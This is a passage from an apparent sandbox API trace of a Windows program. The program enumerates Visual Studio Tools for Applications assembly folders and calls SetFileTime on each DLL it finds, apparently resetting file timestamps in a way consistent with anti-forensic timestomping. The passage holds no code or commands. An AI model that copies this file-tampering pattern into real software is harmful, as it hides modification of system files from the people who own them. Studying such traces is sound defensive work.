ftLastAccessTime.dwLowDateTime=0x5258a1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5258a1f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0098.052] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.052] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.052] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.052] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5258a1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5258a1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5258a1f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.052] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.053] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.053] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5258a1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5258a1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x525fc610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x507a0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Blueprints.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.058] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.058] CloseHandle (hObject=0x90) returned 1 [0098.058] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5258a1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5258a1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x525fc610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x507a0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Blueprints.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.058] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.058] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5258a1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5258a1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5258a1f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0098.058] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.059] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa696cb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa696cb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa696cb70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c642e, dwReserved1=0x720000, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel", cAlternateFileName="MICROS~2.COM")) returned 1 [0098.059] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel") returned -1 [0098.059] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel") returned -1 [0098.059] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.059] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa696cb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa696cb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa696cb70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.059] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.059] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.059] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52622770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0098.060] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.060] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.060] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.060] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52622770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.060] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.060] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.060] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52622770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x97b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.113] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.114] CloseHandle (hObject=0x90) returned 1 [0098.114] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52622770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x97b0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.114] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.114] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52622770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0098.115] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.115] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6992cd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6992cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6992cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e6c656e, dwReserved1=0x6c6c64, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract", cAlternateFileName="MICROS~2.CON")) returned 1 [0098.115] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract") returned -1 [0098.115] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract") returned -1 [0098.116] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.116] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6992cd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6992cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6992cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.116] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.116] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.116] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0098.116] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.116] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.117] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.117] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.117] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.118] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.118] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9798, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.123] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.123] CloseHandle (hObject=0x90) returned 1 [0098.123] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9798, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.123] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.123] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6104dbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0098.123] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.124] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4c80900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4c80900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c, dwReserved1=0x720063, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0", cAlternateFileName="MI2A54~1.0")) returned 1 [0098.124] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0") returned -1 [0098.124] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0") returned -1 [0098.124] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.125] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c80900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4c80900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4c80900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.125] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.125] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.125] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd317f360, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd317f360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd317f360, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0098.125] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.125] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.125] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.125] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd317f360, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd317f360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd317f360, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.125] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.126] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.126] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd317f360, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd317f360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd317f360, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5fb0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.177] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.177] CloseHandle (hObject=0x90) returned 1 [0098.178] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd317f360, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd317f360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd317f360, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5fb0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.178] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.178] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd317f360, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd317f360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd317f360, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0098.178] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.179] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2d51ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2d51ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2d51ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x302e3031, dwReserved1=0x6c6c642e, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0", cAlternateFileName="MI5EB3~1.0")) returned 1 [0098.183] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0") returned -1 [0098.183] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0") returned -1 [0098.184] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.184] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2d51ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2d51ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2d51ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.184] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.184] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.185] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52302a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52302a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52302a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0098.185] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.185] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.185] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.185] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52302a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52302a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52302a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.185] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.185] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.185] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52302a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52302a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52302a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.200] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.200] CloseHandle (hObject=0x90) returned 1 [0098.200] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52302a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52302a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52302a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.200] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.201] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52302a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52302a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52302a90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0098.201] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.201] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68fa750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa68fa750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa68fa750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e302e39, dwReserved1=0x6c6c64, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime", cAlternateFileName="MICROS~1.DES")) returned 1 [0098.201] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.DesignTime") returned -1 [0098.201] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.DesignTime") returned -1 [0098.202] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.202] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68fa750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa68fa750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa68fa750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.202] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.202] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.202] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60fb5630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60fb5630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 1 [0098.202] lstrcmpA (lpString1=".", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.202] lstrcmpA (lpString1="..", lpString2="8.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.202] 